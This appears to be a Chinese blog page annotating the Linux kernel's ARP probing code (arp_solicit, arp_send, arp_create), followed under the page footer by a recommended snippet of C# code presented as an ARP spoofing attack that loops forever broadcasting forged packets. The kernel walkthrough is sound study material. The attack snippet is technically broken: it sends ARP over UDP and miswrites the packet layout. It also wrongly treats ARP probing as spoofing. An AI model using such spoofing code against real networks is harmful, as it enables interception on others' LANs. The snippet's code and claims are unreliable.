arp3-探测

对每种Neighboring协议,都要定义一个neigh_ops结构,ARP对应的定义为:

[ net/ipv4/arp.c ]

static const struct neigh_ops arp_generic_ops = {
	.family =		AF_INET,
	.solicit =		arp_solicit,
	.error_report =		arp_error_report,
	.output =		neigh_resolve_output,
	.connected_output =	neigh_connected_output,
};
其中的arp_solicit用来进行目标地址的探测:

[ net/ipv4/arp.c ]

// ARP探测
static void arp_solicit(struct neighbour *neigh, struct sk_buff *skb)
{
	__be32 saddr = 0;
	u8 dst_ha[MAX_ADDR_LEN], *dst_hw = NULL;
	struct net_device *dev = neigh->dev;	// 网络设备
	__be32 target = *(__be32 *)neigh->primary_key;	// 目标地址
	int probes = atomic_read(&neigh->probes);	// 探测次数
	struct in_device *in_dev;

	rcu_read_lock();
	in_dev = __in_dev_get_rcu(dev);	// IPv4 specific data
	if (!in_dev) {
		rcu_read_unlock();
		return;
	}
	switch (IN_DEV_ARP_ANNOUNCE(in_dev)) {	// 本地发出的ARP请求包,当源地址使用本机的IP地址时,等级限制
	default:
	case 0:		/* By default announce any local IP */
		if (skb && inet_addr_type(dev_net(dev), ip_hdr(skb)->saddr) == RTN_LOCAL) // 目标为ip_hdr(skb)->saddr的路由为 Accept locally
			saddr = ip_hdr(skb)->saddr;
		break;
	case 1:		/* Restrict announcements of saddr in same subnet */
		if (!skb)
			break;
		saddr = ip_hdr(skb)->saddr;
		if (inet_addr_type(dev_net(dev), saddr) == RTN_LOCAL) {	// 目标为ip_hdr(skb)->saddr的路由为 Accept locally
			/* saddr should be known to target */
			if (inet_addr_onlink(in_dev, target, saddr))
				break;
		}
		saddr = 0;
		break;
	case 2:		/* Avoid secondary IPs, get a primary/preferred one */
		break;
	}
	rcu_read_unlock();

	if (!saddr)
		saddr = inet_select_addr(dev, target, RT_SCOPE_LINK); // 找到与目标地址target相同的本机地址,在局域网内

	probes -= NEIGH_VAR(neigh->parms, UCAST_PROBES);	// 探测次数减去unicast solicitations数量
	if (probes < 0) {
		if (!(neigh->nud_state & NUD_VALID))
			pr_debug("trying to ucast probe in NUD_INVALID\n");
		neigh_ha_snapshot(dst_ha, neigh, dev);	// neigh中与IP地址对应的硬件地址赋值给dst_ha
		dst_hw = dst_ha;
	} else {
		probes -= NEIGH_VAR(neigh->parms, APP_PROBES);// 探测次数减去user-space application solicitations数量
		if (probes < 0) {
			neigh_app_ns(neigh);	// 发送通知给内核
			return;
		}
	}

	// 发送ARP请求
	arp_send(ARPOP_REQUEST, ETH_P_ARP, target, dev, saddr,
		 dst_hw, dev->dev_addr, NULL);
}
其中arp_send用来发送ARP请求,它也用来发送ARP响应:

[ net/ipv4/arp.c ]

/*
 *	Create and send an arp packet.
 */
void arp_send(int type, int ptype, __be32 dest_ip,
	      struct net_device *dev, __be32 src_ip,
	      const unsigned char *dest_hw, const unsigned char *src_hw,
	      const unsigned char *target_hw)
{
	struct sk_buff *skb;

	/*
	 *	No arp on this interface.
	 */

	if (dev->flags&IFF_NOARP)
		return;

	// 创建一个ARP包
	skb = arp_create(type, ptype, dest_ip, dev, src_ip,
			 dest_hw, src_hw, target_hw);
	if (skb == NULL)
		return;

	arp_xmit(skb);	// 发送ARP包
}
EXPORT_SYMBOL(arp_send);

 /*
 *    Create an arp packet. If (dest_hw == NULL), we create a broadcast
 *    message.
 */
struct sk_buff *arp_create(int type, int ptype, __be32 dest_ip,
               struct net_device *dev, __be32 src_ip,
               const unsigned char *dest_hw,
               const unsigned char *src_hw,
               const unsigned char *target_hw)
{
    struct sk_buff *skb;
    struct arphdr *arp;
    unsigned char *arp_ptr;
    int hlen = LL_RESERVED_SPACE(dev);    // 头部长度
    int tlen = dev->needed_tailroom;    // 尾部预留空间

    /*
     *    Allocate a buffer
     */

    skb = alloc_skb(arp_hdr_len(dev) + hlen + tlen, GFP_ATOMIC);
    if (skb == NULL)
        return NULL;


    skb_reserve(skb, hlen);
    skb_reset_network_header(skb);
    arp = (struct arphdr *) skb_put(skb, arp_hdr_len(dev));
    skb->dev = dev;
    skb->protocol = htons(ETH_P_ARP);    // 协议类型
    if (src_hw == NULL)
        src_hw = dev->dev_addr;    // 源地址
    if (dest_hw == NULL)
        dest_hw = dev->broadcast;    // 广播地址

    /*
     *    Fill the device header for the ARP frame
     */
    if (dev_hard_header(skb, dev, ptype, dest_hw, src_hw, skb->len) < 0)    // create the Ethernet header
        goto out;

    /*
     * Fill out the arp protocol part.
     *
     * The arp hardware type should match the device type, except for FDDI,
     * which (according to RFC 1390) should always equal 1 (Ethernet).
     */
    /*
     *    Exceptions everywhere. AX.25 uses the AX.25 PID value not the
     *    DIX code for the protocol. Make these device structure fields.
     */
    switch (dev->type) {
    default:
        arp->ar_hrd = htons(dev->type);
        arp->ar_pro = htons(ETH_P_IP);
        break;


#if IS_ENABLED(CONFIG_AX25)
    case ARPHRD_AX25:
        arp->ar_hrd = htons(ARPHRD_AX25);
        arp->ar_pro = htons(AX25_P_IP);
        break;

#if IS_ENABLED(CONFIG_NETROM)
    case ARPHRD_NETROM:
        arp->ar_hrd = htons(ARPHRD_NETROM);
        arp->ar_pro = htons(AX25_P_IP);
        break;
#endif
#endif

#if IS_ENABLED(CONFIG_FDDI)
    case ARPHRD_FDDI:
        arp->ar_hrd = htons(ARPHRD_ETHER);
        arp->ar_pro = htons(ETH_P_IP);
        break;
#endif
    }

    arp->ar_hln = dev->addr_len;    // length of hardware address
    arp->ar_pln = 4;    // length of protocol address
    arp->ar_op = htons(type);    // 类型:请求或响应

    arp_ptr = (unsigned char *)(arp + 1);


    memcpy(arp_ptr, src_hw, dev->addr_len);    // sender hardware address
    arp_ptr += dev->addr_len;
    memcpy(arp_ptr, &src_ip, 4);    // sender IP address
    arp_ptr += 4;

    switch (dev->type) {
#if IS_ENABLED(CONFIG_FIREWIRE_NET)
    case ARPHRD_IEEE1394:
        break;
#endif
    default:
        if (target_hw != NULL)
            memcpy(arp_ptr, target_hw, dev->addr_len);    // target hardware address
        else
            memset(arp_ptr, 0, dev->addr_len);
        arp_ptr += dev->addr_len;
    }
    memcpy(arp_ptr, &dest_ip, 4);    // IP address

    return skb;

out:
    kfree_skb(skb);
    return NULL;
}
EXPORT_SYMBOL(arp_create);

/*
 *    Send an arp packet.
 */
void arp_xmit(struct sk_buff *skb)
{
    /* Send it off, maybe filter it using firewalling first.  */
    NF_HOOK(NFPROTO_ARP, NF_ARP_OUT, skb, NULL, skb->dev, dev_queue_xmit);
}
EXPORT_SYMBOL(arp_xmit);

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ARP探测攻击,也被称为ARP欺骗攻击,是一种网络安全攻击方式。实现ARP探测攻击可以使用C#编程语言,下面是一份简单的代码示例: ```csharp using System; using System.Net; using System.Net.NetworkInformation; using System.Net.Sockets; namespace ARPAttack { class Program { static void Main(string[] args) { // 获取本机IP地址 string hostName = Dns.GetHostName(); IPAddress[] addresses = Dns.GetHostAddresses(hostName); IPAddress localIP = null; foreach (IPAddress address in addresses) { if (address.AddressFamily == AddressFamily.InterNetwork) { localIP = address; break; } } // 获取网关的MAC地址 PhysicalAddress gatewayMac = null; using (Ping ping = new Ping()) { PingReply reply = ping.Send(localIP); if (reply.Status == IPStatus.Success) { IPAddress gatewayIP = IPAddress.Parse("192.168.1.1"); // 假设网关IP地址为192.168.1.1 ArpPacket arpRequest = new ArpPacket(localIP, gatewayIP); byte[] requestBuffer = arpRequest.ToBytes(); using (UdpClient udpClient = new UdpClient()) { udpClient.Send(requestBuffer, requestBuffer.Length, new IPEndPoint(gatewayIP, 0)); IPEndPoint remoteEP = new IPEndPoint(IPAddress.Any, 0); byte[] responseBuffer = udpClient.Receive(ref remoteEP); ArpPacket arpResponse = ArpPacket.FromBytes(responseBuffer); if (arpResponse.Operation == ArpOperation.Response) { gatewayMac = arpResponse.SenderHardwareAddress; } } } } // 发送ARP欺骗包 while (true) { ArpPacket arpSpoof = new ArpPacket(localIP, IPAddress.Parse("192.168.1.100"), gatewayMac); byte[] spoofBuffer = arpSpoof.ToBytes(); using (UdpClient udpClient = new UdpClient()) { udpClient.Send(spoofBuffer, spoofBuffer.Length, new IPEndPoint(IPAddress.Broadcast, 0)); } System.Threading.Thread.Sleep(1000); } } } public class ArpPacket { public const int HardwareAddressLength = 6; public const int ProtocolAddressLength = 4; public const int PacketLength = 28; public PhysicalAddress DestinationHardwareAddress { get; set; } public PhysicalAddress SenderHardwareAddress { get; set; } public ushort ProtocolType { get; set; } public ArpOperation Operation { get; set; } public IPAddress SenderProtocolAddress { get; set; } public IPAddress TargetProtocolAddress { get; set; } public ArpPacket(IPAddress senderProtocolAddress, IPAddress targetProtocolAddress, PhysicalAddress destinationHardwareAddress = null, PhysicalAddress senderHardwareAddress = null) { this.DestinationHardwareAddress = destinationHardwareAddress ?? PhysicalAddress.Broadcast; this.SenderHardwareAddress = senderHardwareAddress ?? GetLocalMACAddress(); this.ProtocolType = (ushort)EthernetType.Arp; this.Operation = ArpOperation.Request; this.SenderProtocolAddress = senderProtocolAddress; this.TargetProtocolAddress = targetProtocolAddress; } public byte[] ToBytes() { byte[] buffer = new byte[PacketLength]; this.DestinationHardwareAddress.GetAddressBytes().CopyTo(buffer, 0); this.SenderHardwareAddress.GetAddressBytes().CopyTo(buffer, HardwareAddressLength); BitConverter.GetBytes(IPAddress.NetworkToHostOrder(this.ProtocolType)).CopyTo(buffer, HardwareAddressLength * 2); BitConverter.GetBytes((ushort)this.Operation).CopyTo(buffer, HardwareAddressLength * 2 + ProtocolAddressLength); this.SenderHardwareAddress.GetAddressBytes().CopyTo(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2); this.SenderProtocolAddress.GetAddressBytes().CopyTo(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2 + HardwareAddressLength); this.DestinationHardwareAddress.GetAddressBytes().CopyTo(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2 + HardwareAddressLength + ProtocolAddressLength); this.TargetProtocolAddress.GetAddressBytes().CopyTo(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2 + HardwareAddressLength + ProtocolAddressLength + HardwareAddressLength); return buffer; } public static ArpPacket FromBytes(byte[] buffer) { PhysicalAddress destinationHardwareAddress = new PhysicalAddress(buffer, 0, HardwareAddressLength); PhysicalAddress senderHardwareAddress = new PhysicalAddress(buffer, HardwareAddressLength, HardwareAddressLength); ushort protocolType = (ushort)IPAddress.NetworkToHostOrder(BitConverter.ToInt16(buffer, HardwareAddressLength * 2)); ArpOperation operation = (ArpOperation)BitConverter.ToUInt16(buffer, HardwareAddressLength * 2 + ProtocolAddressLength); PhysicalAddress targetHardwareAddress = new PhysicalAddress(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2 + HardwareAddressLength + ProtocolAddressLength, HardwareAddressLength); IPAddress senderProtocolAddress = new IPAddress(BitConverter.ToUInt32(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2)); IPAddress targetProtocolAddress = new IPAddress(BitConverter.ToUInt32(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2 + HardwareAddressLength + ProtocolAddressLength + HardwareAddressLength)); return new ArpPacket(senderProtocolAddress, targetProtocolAddress, destinationHardwareAddress, senderHardwareAddress) { ProtocolType = protocolType, Operation = operation }; } private static PhysicalAddress GetLocalMACAddress() { NetworkInterface[] nics = NetworkInterface.GetAllNetworkInterfaces(); PhysicalAddress macAddress = null; foreach (NetworkInterface adapter in nics) { if (adapter.OperationalStatus == OperationalStatus.Up) { macAddress = adapter.GetPhysicalAddress(); if (macAddress != null && !macAddress.Equals(PhysicalAddress.None)) { break; } } } return macAddress; } } public enum ArpOperation : ushort { Request = 1, Response = 2 } public enum EthernetType : ushort { Arp = 0x0806 } } ``` 上面的代码中,我们先获取本机的IP地址和MAC地址,然后发送一个ARP请求包到网关,获取网关的MAC地址。接着,我们每秒钟发送一个ARP欺骗包,将本机的MAC地址伪装成另外一台机器的MAC地址,从而实现ARP欺骗攻击。 需要注意的是,ARP欺骗攻击是一种违法行为,未经授权使用可能会导致法律后果。本代码仅供学习和研究用途,请勿用于非法用途。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值